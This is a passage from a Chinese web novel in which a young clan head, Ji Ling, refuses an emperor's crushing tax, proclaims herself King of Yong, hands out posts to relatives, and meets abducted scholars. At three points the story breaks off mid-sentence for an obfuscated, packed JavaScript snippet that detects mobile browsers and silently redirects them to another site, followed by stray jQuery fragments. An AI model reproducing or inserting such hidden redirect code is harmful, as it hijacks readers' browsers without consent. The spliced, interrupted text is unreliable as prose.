姬昤没再说话,她在思索,怪不得系统说大安就要乱了,这狗皇帝这样作下去大安能不乱吗?
不过她没想到尚书令竟然还挺有气节,她还以为他是个迂腐可恶的老头呢!
“你刚说狗皇帝加高了赋税,是多少?”姬昤想到这又问。
今年粟邑县要交上去的钱粮早已准备好,若赋税提高了,准备好的岂不是不够?
月栀脸色有些难看,伸出一只手。
姬昤瞪大了双眼:“五税一?”
月栀点头。
姬昤猛地一拍桌子,暗骂了一声。
“家主,要……交吗?”月栀不禁问道。
“哼,交。”姬昤阴阳怪气地说了句。
“啊?可是……”月栀话还未说完。
紧接着,姬昤又道:“交个屁!”
月栀松了口气,这才是她的好娘子嘛,怎么可能交!
十月底,从建康传下来消息,皇后被废、江夏王贬至辽西王、全国赋税提至五税一,圣旨旨意要求全国地方再补充一些今年要交的钱粮,地方可延缓至十二月初再交到建康。
一时间,全国暴动四起,怨声载道。
粟邑县。
百姓们齐聚县令府外,姬瑾派了官差去安抚大家的情绪,他也声嘶力竭地让大家先冷静下来。
直到姬昤来了。
“家主,家主您说句话啊,咱们还怎么过啊?五税一,这不是要咱们的命嘛!”一个胡子花白的老头子拄着拐哭丧着。
“是啊!五税一?我们还活不活了?”一个老太太坐在地上拍着大腿哭着。
“怎么办?怎么办啊?我们才吃饱饭,现在又变成五税一了,我们怎么活?狗皇帝!为何不肯给我们老百姓一条活路啊!”一个男人跪坐在地上哭着喊着,说到后面还握拳砸着地面。
大家你一言我一语无一不诉说着对狗皇帝暴政的不满。
“各位放心!”姬昤大喊一声,大家逐渐安静下来,全都看着姬昤。
接着,姬昤缓缓说道:“今年的税,咱们就不交了!”
一片寂静……
姬瑾震惊地看向一旁的姬昤,她说什么?不交了?
“姬,姬家主,您说的是真的吗?不交了?真的不交了吗?可若是皇帝发怒,下旨惩罚我们、惩罚您怎么办呢?我们交又交不起,又得罪不起皇帝,我们……”一个妇人满脸纠结,她承认,在听到说“不交了”的时候心里是很开心的,但一想到不交了的后果,那不是他们能承担得起的。
姬昤说道:“诸位莫怕,皇帝不仁,难道百姓就该忍着吗?明明你们的诉求是那么简单普通,可皇帝却还要剥夺你们最后一丝温暖,那这样的国家还能成为你们的家吗?”
众人面面相觑,不禁泪流满面。
是啊,他们只是想吃饱穿暖,没有外敌侵扰、没有苛政虐待,他们想要的明明很简单,为什么皇帝还是不肯给他们呢?
“昤昤,你……”姬瑾嗓音沙哑,下意识想劝阻一下姬昤。
“阿兄莫说了,这都是皇帝逼我们的。”姬昤伸出一只手拦了一下姬瑾,明亮的眼神照向姬瑾,姬瑾却愣住了。
这样的君还要效忠吗?况且他不是早就猜到了昤昤要做什么吗?那么此刻他还要说什么呢?
可这是谋反!是诛九族的大罪!何况昤昤还是一介女子,没有人会眼睁睁看着一个女娘登上那至高位的!届时不论是昤昤还是姬家,都危矣!
姬瑾心里有两个小人一直在打架,最终他走到了一边没再说话。
姬昤看向姬瑾,只见姬瑾笑容温柔,一如从前最宠爱她的兄长一般。
姬昤也露出一个浅浅的笑容,然后正了神色看向乌泱泱的百姓们。
“诸位,这段时日大家就像往常一样过就行了,一切都有我姬绥英在,哪怕上面派人找了来,那也有我呢,你们莫怕,过好自己的日子就行。”姬昤说道。
“可是,姬家主,这会不会害了您?”一老人家担心地问道。
“都别担心我,我姬绥英是谁啊?都回去吧,该卖菜的去卖菜,该种地的去种地,还有你,我记得你前几日就说近来要嫁姑娘了,还不快回去准备?你,对,就是你,前几日我还听说你娘子要生了,怎的还在这儿?还不快回去守着!”姬昤说着将大家都打发走了。
百姓们走后,姬瑾上前一步,语气有些担忧:“昤昤,你还好吗?”
姬昤一脸奇怪:“阿兄这说的什么话?我一直都很好啊!”
“昤昤,这条路很累的,也很艰难,没你想的那么容易。”姬瑾一只手搭在姬昤肩上,他愁容满面,看起来都老了些许。
姬昤会心一笑:“阿兄,我知道,一开始我就知道,但我更知道,这就是我该走的路。阿兄,你看看这天下,我只是让百姓们吃饱一些穿暖一些他们便对我感恩戴德,这证明百姓们要的东西很简单,可是狗皇帝这都不肯给他们,这说明什么?说明他是昏君啊,若让昏君继续治国,则国将不国、天下大乱。”
姬瑾收回了手:“你安心准备你的事,若建康递了信或派了人来责问,万事有阿兄在呢。”
姬昤一把抱住姬瑾的腰,笑嘻嘻地像个小孩子似的:“多谢阿兄,阿兄果然最好了!”
姬瑾摸了摸姬昤的脑袋,无奈一笑:“你啊,真是对你没办法。”
姬昤又去了军营,此时的军营一改之前的萎靡疲散,军容军纪方面都十分优秀,姬昤很满意。
将士们都在训练,一个个挥洒着自己的汗水,各个眼神坚毅。
常胜瞧见姬昤的身影,让副将看着大家继续训练,他小跑过去。
“家主,您怎么来了?”他问。
“皇帝新政听闻了吗?”姬昤问。
常胜摇摇头:“什么新政?陛下颁布了什么指令吗?”
“十税一改五税一,所有地方将补充的钱粮和先前收好的一起至十二月初交至建康。”姬昤。
“什么?五税一?陛下莫不是疯了?”常胜满意不可置信,他知道皇帝昏庸,但何时昏庸至此了?
“是啊,他真是疯了。你可知,不仅如此,皇帝废了皇后,将皇后所出大皇子贬至辽西做了辽西王,还意欲封羌胡来的柔云郡主柔夫人为新任皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527783|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,而且他还夷了尚书令三族,就因为尚书令反对他。”姬昤缓缓说道,叙述着近来所发生的一切。
常胜感觉脑袋像是受到了重创一般。
他平日里都在军营中,说实话,他一般还真不知道这些消息,没想到近日竟发生了这么多事!而且每一样都很匪夷所思!
“那,那怎么办?粟邑县今年才吃饱了饭,将士们也是今年才终于拿到了军饷有了饭吃,难道又要过从前的日子了吗?”常胜喃喃着,一时间不知道该怎么办是好。
“莫急,我并不打算让粟邑交这次的税。”姬昤淡定道。
“什么?家主您的意思是……”常胜猜测着,最终脸色一变。
姬昤对着常胜微微一笑,轻声道:“时候快到了。”
十一月初,建康传出消息,皇帝欲将云昭公主嫁与鲜卑三王子,而云昭公主之母正是被废了的皇后。
十一月下旬,云昭公主出嫁。紧接着,皇帝将云燕公主嫁与羌胡新任羌王——曾经的羌胡四王子,婚期就在云昭公主出嫁后半月。
十二月初,皇帝下旨册封柔夫人柯柔云为新任皇后,与此同时,中央催促地方赶紧交齐钱粮,顿时,各地暴动四起,皇帝派了多人镇压,一时间死伤无数。
十二月中,建康传出消息,皇帝病重,宣辽西王、庐陵王、郁林王三人速速归来侍疾,其中庐陵王因离建康最近,快马加鞭几日便赶回了建康,辽西王和郁林王仍在路上。
十二月下旬,辽西王和郁林王路遇刺客生死不明,同时,皇帝驾崩,留下遗诏册封二皇子庐陵王为太子,即刻即位。就在这时,中山王、涪陵王、广汉王、江阳王不承认新皇帝位,且说太后柯柔云乃“妖后”,纷纷宣布起兵。
十二月三十一日夜里,下起了大雪,白雪皑皑的世界是那么寂静美丽。军帐内,姬昤一身劲装,她的面前摆放着沙盘,上面模拟着粟邑县及周围的几个县的位置。
时间一点点过去,姬昤双手撑着沙盘的边上,眼睛闭着,安静地等待着。她的身边还站着月栀、卫子夫和聂隐娘三人。
“报!”一个小兵顶着白雪跑了进来,脸蛋和鼻尖都红红的。
姬昤瞬间睁开了眼,几人望向小兵。
小兵脸上满是喜悦:“禀报主公,临晋、下邽、重泉、频阳、莲勺、郃阳六县已全部拿下!还有一县夏阳乃主动投靠,我们不费一兵一卒!”
“好!”姬昤不禁大喝一声。
早在前几日她就让军队分散开去了几个县外候着,就待这两日能一举拿下,他们果然没让她失望。只是没想到这夏阳县竟然主动投靠了她,也好,不用花费任何力气。
“宿主主线任务成功,奖励‘卧龙凤雏’。诸葛亮、庞统正在赶来粟邑县的路上,请宿主注意查收。”
系统的声音在姬昤脑海里响起,姬昤不禁查看了一下她的任务进度——
32135/10000。
不错,超额完成任务了。
“主公,我们也该昭告天下了。”卫子夫柔声提醒道。
“你说得对,该叫什么王呢?”姬昤思索了一番。
“家……主公,我看别的王名字都是郡的名字,我们这属于冯翊郡,不如就叫冯翊王吧?”月栀提议。
“月栀此言有理,不过属下以为,安定此名亦可,毕竟安定郡是主公您的封地。”卫子夫说道。
“嗯……你们说的都有道理,既然如此……”姬昤沉默了会儿,“不如以州为名,就叫——‘雍王’吧。”
月栀、卫子夫、聂隐娘三人面面相觑,主公果然好野心,直接以州名为名叫雍王!
来禀报的小兵也大为震惊,他们私底下也讨论过主公会取个什么名字,有人说就随了封号叫安定王,也有人说叫冯翊王,更有人猜会是粟邑王,但谁也没想过“雍”这个字。
姬昤冷冽的目光直视着小兵,缓缓吐出一句话:“即刻将消息传出去,在天明之前我要让所有人都知道我姬绥英自立为雍王,起兵于粟邑县,来日定将杀回建康,清、君、侧!”
43.成王败寇
“宿主主线任务成功,奖励银矿一座,开采年限五十年,请宿主选择银矿所在地。”
“暂存,之后再选择。”
新的一年到来了,安朝已经名存实亡,各路王爷起兵造反,说是生死不明的辽西王和郁林王也出现在各自的封地,打着“清君侧”的旗号要打回建康城,而此时雍王的出现令所有人措手不及。一时间,讨伐雍王的声音渐渐响亮起来,不亚于他们要清君侧的声音,原因很简单,只是因为她雍王是一介女子。
粟邑县。
来往行人热热闹闹的,因着过年,到处布置得都很喜庆。
“听说了吗?新皇帝痛斥雍王居心不仁,说是要她即刻自焚于天以证清白,否则便派大军前来捉拿!”
“什么玩意儿?自焚于天?捉拿雍王殿下?
什么新帝,脑子不太好吧?”
“就是!我也觉得他脑子有问题!雍王殿下多好的人啊,怎么能让她自焚于天呢?看看这儿,咱们粟邑现在变这么好可都是雍王殿下干的!那狗皇帝做什么了?哼!”
“殿下是女人怎么了?只要能让我们吃饱饭穿暖衣,管他男人女人,都是好人!”
“说得对!女人怎么了?我看那男人当的皇帝也没对咱们好到哪儿去啊!”
“不过我还真没听过女王爷,也没听过女皇帝,以前有吗?”
“不知道啊!我连前几个皇帝姓什么都不知道!对了,这个新皇帝姓什么来着?”
……
虽然姬昤自立为雍王在粟邑县起兵了,但是粟邑县的百姓们生活照旧,没有任何改变,大家甚至还没改口更觉得叫“家主”来的习惯。
这不,因为过年了,还有好些百姓带上自家的鸡鸭鱼蛋野菜什么的到了姬府门口,说是一定要让姬昤好好尝尝,姬府门口的阍侍们好说歹说才把人一个个劝走。
姬府。
厅堂。
坐了好几桌人,主脉的人、大房一脉的人、族老们都在。
“反了反了,不仅仅是做家主,如今竟成了反王!我们这些老家伙死后该如何面对姬家列祖列宗?”一个族老痛心疾首地说着。
“我们竟不知你开始存的是这样的心思?你有没有想过,一旦失败了,我们姬家便将会不复存在?!”一个族老指着姬昤怒道。
“你怎么敢的?你怎么敢拿整个姬家赌的啊?!赢便罢,输则万劫不复啊!”又一个族老对着姬昤大骂着,最后竟拍着大腿痛哭。
姬昤轻笑了声,这些族老往日里啰啰嗦嗦的整天这个规矩那个规矩的,如今她自立为王造反了,他们的反应竟然是这样,还以为他们会痛斥她大逆不道有违纲常呢,没想到只是怕输了姬家也跟着覆灭。
大房的一群人则一脸懵,就连平日里最稳重的姬大夫人都开始盯着眼前的茶水发呆。
一切都像梦一样就这么发生了。
“家,家主,不,雍,雍王殿下?”姬呈还有些不适应这个称呼,话说得还有些烫嘴。
“嗯?呈阿兄有何话要说?”姬昤看向姬呈,神色间隐隐有些期待。
姬呈看了看自己的阿母,又看看自己妻儿,他说:“雍王殿下,你……你是何时决定要这样做的?”往日里是一点儿没看出来。
他还当姬昤只是早就预测了安朝的短命,所以想好好做姬家家主将姬家发扬光大保存下去,因此带领姬家来到这边缘之地苟着,不曾想姬昤她最后竟称王了。
姬昤想了想:“我十四岁生辰那日就想了。”
准确来说是系统找上她的那一刻起她就想了。
“这么早?!”姬父姬母当即震惊地喊了出来。
姬呈心里一算:“再过两月你就满十七岁了,也就是说你想这件事近三年了?”
姬昤点头。
姬大夫人抬眸看向姬昤:“这么说来,之后发生的一切都在你的成算之中?分家、举族搬迁至粟邑……全部都是?”
姬昤再次点头。
姬大夫人笑了,举杯敬向姬昤:“便祝雍王早日得偿所愿。”
姬昤露出满意的笑容,回敬回去:“借大伯母吉言!”
众人都惊讶地看向姬大夫人,她是所有人当中接受最快的,也是改口最顺利的。再则就是姬父姬母,毕竟是姬昤的阿耶阿母,他们之前也猜测过,现在女儿做都做了,还要怎么办呢?只能接受了。
大房的姬大夫人一发话,其他人都开始纷纷祝贺起姬昤。大房现在虽然是姬呈做主,但姬大夫人才是真正的主心骨,大家还是下意识都听她的。
族老们都沉默了,大家接受得太快显得他们格格不入。
“三房四房他们如今各有归属,新帝和郁林王,我说实话,三房四房跟着他们没有好下场的,你们应该庆幸跟了我,因为最后的赢家会是我,也只会是我。”姬昤拿着一个杯盏边说边走到最高处,最后转过身来,犀利的眼神扫过众人,话语中满满都是自信。
“哼,狂妄自大。”一个族老小声嘀咕了句。
姬昤就当没听见,只要他们不闹事不捣乱,随他们怎么说。
“呈阿兄,你还想做官吗?”姬昤看向姬呈,问道。
姬呈放下酒杯的手一顿,做官?
在离开建康前他还是有官职的,只不过皇帝不仁,加上姬家要离开建康,他便辞官不做了。如今他还能做官吗?
“郃阳的县令不配合,且被我的人查出贪污,所以我的人在拿下郃阳后就杀了他,如今郃阳县缺个县令,你若想去做即刻可以上任,就看呈阿兄你愿不愿意了。”姬昤将杯盏举向姬呈的方向。
姬呈犹豫了片刻,起身,向姬昤举起酒杯:“多谢殿下,臣……愿为殿下分忧。”
姬呈之妻崔姝见状隐隐也有些心动,她不禁开口问道:“雍,雍王殿下,我,臣能为您做什么吗?”
众人不禁多看了眼崔姝,有些意外她的开口。
姬昤也有些意外。
崔姝见这么多人盯着她看,不禁有些紧张,脸都红了些。
“就当我没说吧。”她道。
“嫂嫂,这是家里,不必与我这么客气。嫂嫂会什么?我看能给你安排什么。”姬昤微微一笑。
“我……就是世家女子都会学的那些,那些我都会,其余的么……”崔姝说着不禁泄了气。
她会什么呢?她从小到大学的都是闺阁女子会学的,长大了没多久便嫁人生子又在深宅大院之中,她会什么呢?
姬呈见妻子如此落寞,不禁开口道:“从前在建康时,我有时会把政务带回府做,很多都是姝儿帮我做的,她其实会很多,只是不自信,还请殿下能给她一个机会。”
“郎君……”崔姝抬头看向身旁的姬呈,心里一阵感动。
姬昤淡淡一笑:“频阳县的主簿卷了财宝意欲逃走被我手下将士杀了,不如嫂嫂去那儿先做个主簿?我会派几个人协助嫂嫂的,嫂嫂不必忧心做不好。若届时真的觉得自己做不好再与我提,我让嫂嫂回来。只是辛苦呈阿兄和嫂嫂要暂时分隔两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548075|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地了。对了,呈阿兄,你那我也会派几个去协助你,不必担心郃阳县的人不听你的。”
姬呈和崔姝对视一笑,崔姝连忙说道:“不辛苦不辛苦,殿下能给我这个机会我已感激不尽,多谢殿下。”
姬呈:“多谢殿下,劳殿下费心了。”
姬昤笑了笑,又看向其他人:“还有谁有想法的?只要合适,我都可以给他一个尝试的机会。近水楼台先得月嘛,不用觉得不好意思。”
姬呈的大女儿笑眯眯地举了手:“姑母姑母,我也可以吗?”
“睦儿。”姬呈轻喊了声大女儿的名字,瞪了眼她,“你只是个孩子,莫要捣乱。”
姬睦嘟了嘟嘴,明显不开心,她说:“我没有捣乱,我是真的想问姑母。”
姬呈还想说什么,姬昤走了过来:“呈阿兄,你让睦儿说吧。对我而言,只要你有能力,哪怕你只有三岁五岁都没关系。才能不分年龄大小。”
姬睦得意地看了眼自己阿耶阿母,然后对姬昤说道:“姑母,我现在还小,待我再学几年便替姑母分忧!”
“好,睦儿有心了,姑母等那一天的到来。”姬昤笑着。
接着,姬呈和崔姝的小儿子嘴里塞得鼓鼓囊囊的,一边口齿不清地说道:“窝都不酿了,窝只会吃。”
崔姝好笑地解释道:“他说他就不一样了,他只会吃。”
姬昤笑了,走了过去,摸了摸孩子的头:“只会吃也行啊,长大了开个酒楼饭馆什么的,或者当个大厨,日后闻名天下,让所有人都羡慕你的能吃也行啊。”
小孩抬头,两只大眼睛盯着姬昤看着,然后重重点头,继续嚼着嘴里的吃食。
“嘁,当大厨……我姬家二郎长大了去做饭,真是丢人现眼。”一族老嗤笑了声,见众人目光看着自己,他的神色有些不太自然,又随便说了几句起身就离开了。
小孩有些疑惑,不禁问:“当大厨很丢人吗?可是好吃的都是他们做出来的。”
姬昤摸了摸小孩的头:“不丢人,丢人的是说三道四的人。”
小孩赞同地点了点头:“对的!”
接着,姬昤看向姬芮:“芮儿,你呢,你想做什么?”
姬芮突然被点名紧张了一瞬,冷静下来后缓缓回答道:“我……我想教孩子们读书习字。前些日子我跟着谢先生一起教导孩子们,结果我发现我很喜欢这种感觉,他们喊我‘姬先生’‘姬夫子’亦或者其他,看着他们围在我身边问我这个问我那个,我觉得好快乐。”
姬大夫人和姬呈稍微有些惊讶,他们竟从不知姬芮的这个心思。
“很好的想法,既如此你日后就跟在谢先生边上帮忙,你也趁此机会多学习,日后争取考个功名,若想自己开设学堂教导学生我也可以出些钱帮你。”姬昤说道。
“考功名?我么?”姬芮指着自己,很是惊讶。
姬昤点头,然后说道:“待日后我准备好了,就会开设科举——一种无论是谁、无论男女老少皆可参加的考试,考得功名者便可做官。姬芮,阿姊很看好你,阿姊觉得你肯定可以的。”
姬芮双手捂在心口,一阵感动:“谢谢阿姊,芮儿会努力的!”
姬昤扫了眼众人的神色,扬声道:“好话我也说过了,现在说些不中听的话。大家早就是一条船上的人了,我希望不要有人拖我们的后腿连累我们大家,否则……不管他是谁,别怪我下手不留情面。”
众人连连点头。
“很好。”姬昤微笑。
44.“请”来的读书人
新帝求娶琅琊王氏名动天下的双姝被拒。
此消息一传出就引得天下人发笑,新帝是怎么也捂不住这个消息的传出,听说气得砸碎了不少珍宝。
消息传到粟邑县的时候已是正月十一了,姬昤正在军营中和底下将士们商讨攻打安定郡。安定郡现下只有姬瑜治下的临泾县表明归顺雍王,其他县都还在观望,所以需要姬昤稍微费点功夫。
“这几个县并不难打,原先狗皇帝就没给边疆留多少兵力,但凡有能力的全被调回建康,现下我们有这么多猛将,打下安定郡小菜一碟。西边的羌胡我们暂时也不用担心,那边有广汉王和江阳王挡着,暂时威胁不到我们。我们主要是要防着北边的匈奴和鲜卑,就怕他们突然袭击。”常胜站在沙盘边上看着上面的规划一边说道。
“云昭公主被新帝嫁到了鲜卑,鲜卑应该暂时不会来打我们吧?匈奴么……之前匈奴的呼延豹被主公一箭射杀,估计现在也没胆子来打我们了。”一个将领犹豫地说道,说到后面还笑出了声。
军帐里聚集了很多新面孔,这些都是姬昤手下将士打下冯翊郡其他县的守军将领,有两个不愿归顺——一个大骂姬昤妖女自刎而死,一个是贪生怕死的准备弃城而逃被射杀,其他人一开始也不太愿意归顺姬昤,毕竟她是女子,没有人听说过还能跟着女王爷打天下的,后来……他们就服了。
这里能人异士太多了!一个个比他们厉害太多了!这样的人才都归顺姬昤了,他们还算什么?归顺了就归顺了,别人要骂就骂,反正不会掉块肉。
“哈哈哈!匈奴人怕是早就被主公那一箭吓破了胆吧?”又一个将领嘲笑道。
此话一出,大家都笑了。
姬昤也笑了,或许吧,不过也可能是被霍去病吓破了胆。
想到霍去病,姬昤不禁喃喃道:“也不知道霍去病什么时候回来……”
“霍去病?殿下,您是说平北将军霍去病吗?他,他竟是主公的人?”一个将领耳朵尖听见了姬昤的喃喃自语,不可思议地问道。
其他新将领们都看向姬昤,目光期待。
那可是边疆地带赫赫有名的霍去病将军!如果霍将军是雍王殿下的人,不知为何,他们莫名觉得这最后的赢家只会是他们的新主子雍王!
“没错,霍去病是我的人。”姬昤在众人期待的眼神之下肯定地回答了。
几个新将领窃窃私语,脸上无一不带着笑。
姬昤轻叹了口气,还有诸葛亮和庞统呢,她的卧龙凤雏在找她的路上跑到哪里去了?走丢了吗?不至于吧?
这时,罗则走了进来,行了个礼:“主公。”
“怎么了?建康传消息来了?”姬昤问。
罗则的弟弟很厉害,新帝登基之后他竟然还能待在皇宫里,甚至成了新帝身边的红人,这不是一般人能做到的。
罗则点头,众人望向他,他没憋住笑,说道:“新帝求娶‘琅琊王氏双姝’被拒,现在成了全天下的笑话了。”
众人哄堂大笑。
“琅琊王氏的那对双胎姊妹?那可是琅琊王氏费尽心血培养出来的大才女!新帝说想娶就娶啊?怕不是疯了!”常胜笑道。
“就是!新帝已有皇后,难不成让双姝只做个贵嫔、夫人?琅琊王氏怕是要覆了新帝的皇位!”又一个将领也笑道。
姬昤也忍不住发笑。
琅琊王氏双姝?那可是闻名天下的才女姊妹花,姐姐王神怜,妹妹王神愿,从小就被精心培养,记事之后就开始因才气闻名,现在年满十六正值说亲嫁人的好年华,蠢蠢欲动的人太多了,没想到新帝也惦记上了,看来他现在很缺世家的支持。
“唉?说到结亲,会不会有大族给殿下塞男人来笼络殿下啊?”有人猜测道。
姬昤挑眉,她觉得悬。
“主公不需要这些。”妇好语气淡淡的。
“没错,主公不是一个靠姻亲就可以笼络的人。”冼英。
“主公也不需要姻亲笼络。”秦良玉。
猜测的那人尴尬地抓了抓鼻子,算他说错话了。
“说到王氏双姝,那姊妹俩有谁了解的?”姬昤询问。
“有名的大才女,很有名,非常有名。”常胜想了半天就说了这些话。
姬昤无奈道:“这我知道,其他的呢?”
“嗯……她们二人若是男子,怕是能进官场当上大官,可惜了,是女儿身,这些她们做不成。”一个将领想了想,说道,说完后发现大家有些沉默,他立刻反应过来看向姬昤,“主公,臣不是那个意思,臣只是想说……”
姬昤抬手:“你不用解释,我明白。那么多年以来确实没有女子进入朝堂的,你这样想也很正常。不过不是这些女子不想,只是世道不让罢了。”
将领懊恼地低下了头:“主公恕罪。”
“无碍。”姬昤。
他的话正好提醒她了,或许……她可以给这两位双姝发出邀请。
这时,外面传来吵吵嚷嚷的声音。
“罗则,去看看外面怎么了。”姬昤说道。
“喏。”罗则应声,出了军帐。
不一会儿,罗则回来了,面露欣喜:“主公,是……”
一只骨节分明的手掀开了帘子,接着来人大步踏了进来,然后单膝跪地:“臣霍去病拜见主公!”
姬昤面色一喜,立马走上前扶起霍去病:“你终于回来了!”
新将领们也很欣喜,有朝一日他们竟能看见霍去病本人!
“霍将军!”他们几人压抑着兴奋抱拳喊了声。
霍去病朝众人抱了下拳,然后对姬昤说道:“臣不辱使命,此番归来带回了两千兵马还有……一些读书人。”
姬昤一愣:“读书人?什么读书人?”
“放开我!我……呕!我自己会走!”
“有辱斯文!有辱斯文啊!”
“什么雍王?女子怎可称王?!”
“呕!呕!我要不行了,水,水!管他是谁了,我快饿死了!给我吃的!”
……
听着外面吵吵嚷嚷的声音,姬昤瞥了眼霍去病,只见他瞧着有些心虚的样子。
姬昤一把掀开帘子走了出去,众人也跟着走了出去,大家都很想看看霍去病抢,不是,请回来了一些什么样的读书人。
好几个穿着文雅的男人被人五花大绑推着往前走,有几个走几步吐一会儿的,地上一路都是他们吐的。
姬昤仿佛闻到了那个味道,不禁闭气。
“这几个都是什么人才?值得你一路绑过来?”姬昤问身边的霍去病。
“太学最聪明的那些,臣全部绑,不是,全部请回来了,想着他们能为主公效力。”霍去病说道。
姬昤看着吐得东倒西歪的那群学子,不禁有些怀疑:“就是他们?”
霍去病点头。
“他们背后的家族没找你麻烦?”姬昤又问。
安朝和之前的景朝、梁朝,几百年间实行的都是九品中正制,一开始还有些普通人、寒门子弟能够入选出人头地,后来,到了梁朝末年,就只有士族子弟能入朝为官了,霍去病“请”来的这批学子背后定有各自的家族支持。
霍去病嘿嘿一笑:“没来得及,事发突然,臣趁他们还没反应过来就直接带兵闯入太学把人请走了,现在的话……应该反应过来了。不过也已经迟了,人我都带来了,除非他们亲自来粟邑要人。哪怕他们亲自来要人了,也没那么容易能把人带回去,我把他们一路请过来也是有耗费的。”
姬昤瞥了眼霍去病,轻笑了声:“你小子,真有你的。”
“那是,为主公办事,总得多思虑一些。”霍去病扬起嘴角,神色有些骄傲。
接着,霍去病朝一人招了招手,喊道:“把人都带过来拜见主公!”
一群读书人被押着走了过来。
“还不拜见主公!”一个五大三粗的汉子踢了一脚一个学子的小腿,迫使他单膝跪地。
一群人本就吐得稀里哗啦的,这下又一番折腾,几个体弱的直接昏了过去,剩下几个也看着半死不活的。
“把人都带下去好生招待着,找个大夫给他们瞧瞧,晚些时候我摆个宴席,再把人给我带出来。”姬昤说道。
“喏。”汉子应声,然后和一群士兵把请来的读书人带走了。
火光亮起,照亮黑暗的军营,空旷的土地上围满了人,烤肉散发出的香味和酒香一起飘进了原本还坚决不吃姬昤一口米一口肉的读书人们的鼻子里。
“咕噜噜”,他们的肚子响了,像是在啪啪打他们的脸。
姬昤坐在上位,嘴角微勾:“还不肯吃吗?唉,这么好的饭菜都不肯吃,若让我粟邑的百姓们瞧见了定要大骂你们不知好歹。
“哼!”一人挥袖冷哼了声,“绝不吃嗟来之食!绝……绝不!”
姬昤却瞧见他说话时偷偷瞥了好几眼面前的饭菜,喉咙还忍不住动了动,明显十分想吃的,只不过克制住了。
有一个读书人自始至终都没讲话,只是偷偷闻了好几次饭菜香味,他自以为没人看见,其实姬昤都瞥见好几次了。
“想吃就吃吧,你们是我请来的,我怎么会饿着你们呢?对吧,这位小郎君?”姬昤说罢看向那读书人。
那人还是一直盯着面前的饭菜,脑子里全是香喷喷的饭菜,根本就没听见姬昤说的话,直到他发现周围一片寂静,其他跟着一起被绑来的人都看着他,他缓缓转过脑袋看去,一下子和姬昤的目光对视上了,他还吓了一跳。
“雍王是在和我说话?”他环顾四周,然后指向自己。
姬昤点头。
“我……我不饿,嗯,不饿。”那人咽了咽口水。
姬昤轻笑了声。
那人身边一个年龄相仿的少年郎冷笑了声,看向姬昤的目光有些不善:“雍王?某从未见过女子称王的,你这王恐怕当不了多久了。”
“竖子尔敢妄言?!”常胜猛地一排桌,指着少年郎大骂。
少年郎毫无惧意,瞪大了眼睛瞪着常胜。
一时间气氛有些紧张,最终还是姬昤笑出了声,语气随意:“唉,莫要伤了和气。这位……说来也是我的不是,竟还未问过各位的姓名。”
少年郎冷哼一声:“行不更名坐不改姓,李观微是也。”
姬昤忍住笑意,这李观微说话还挺有江湖气息的。
方才说自己不饿的人也说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559047|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“在下赵家徽之。”
除了他们两个,再无人开口,姬昤也不在意,只是看向李观微,问:“你方才说我这个王当不了多久了,何出此言呢?本王洗耳恭听,你大可放心说。”
李观微神态间充斥着傲气,姿态挺拔,很有一副世家杰出子弟的感觉。
“且不说你女子出身,这点就比不上其他八人。建康的新帝、辽西王和郁林王正统出身,是先帝之子,涪陵王、广汉王和江阳王是先帝兄弟,亦是正统,且涪陵王和广汉王手下兵马众多。再说中山王,他虽是异姓王,瞎了只眼是个残废,但他有钱啊,非常有钱,还有众多世家大族的支持。”李观微说完看向姬昤,眼神嘲弄,“所以说,雍王殿下,你觉得你能赢吗?”
姬昤沉默了会儿,笑了。
“多谢李郎君的这番话,本王感激不尽,作为交换,这顿饭便是本王给你的报酬,这下李郎君可否放心吃了?”
李观微哼了声,不为所动。
倒是他身边的赵徽之,忍不住拿起筷子准备吃了。
李观微一把打掉赵徽之的筷子,一副恨铁不成钢的样子,低声喝道:“不准吃!你忘了我们一路是怎么过来的了?她可是反王!”
赵徽之有些委屈地收回了眼,眼神却还巴巴地粘在食物上。
姬昤不禁瞥了眼霍去病,都是他干的,说是要饿一饿这群读书人灭灭他们的威风,结果把这群读书人饿得头晕眼花,一路上又是骑马快速赶路的,给他们颠得吐得昏天黑地的,这群人怕是都记恨上他还有她了。
“没错,我是反王,可其余那些王哪个不是反王?难不成你们觉得安家统治的天下很安稳吗?百姓们的日子过得很好吗?国不成国,家不成家,这样的王朝有什么好延续下去的?这天下早该换个人来做主了。”姬昤语气淡淡的。
“哼!那也不是你一介女子可以做主的!更何况,百姓过得怎么样跟我们有什么关系?我劝你早日把我们放回去,我们便和家里说一声,不同你一个小娘子计较了!”一个读书人一甩袖,冷着脸说道。
姬昤脸色一变,她和妇好对视了眼,妇好会意,大步走上前一把拎起那人的后脖领把人直接拎了起来。
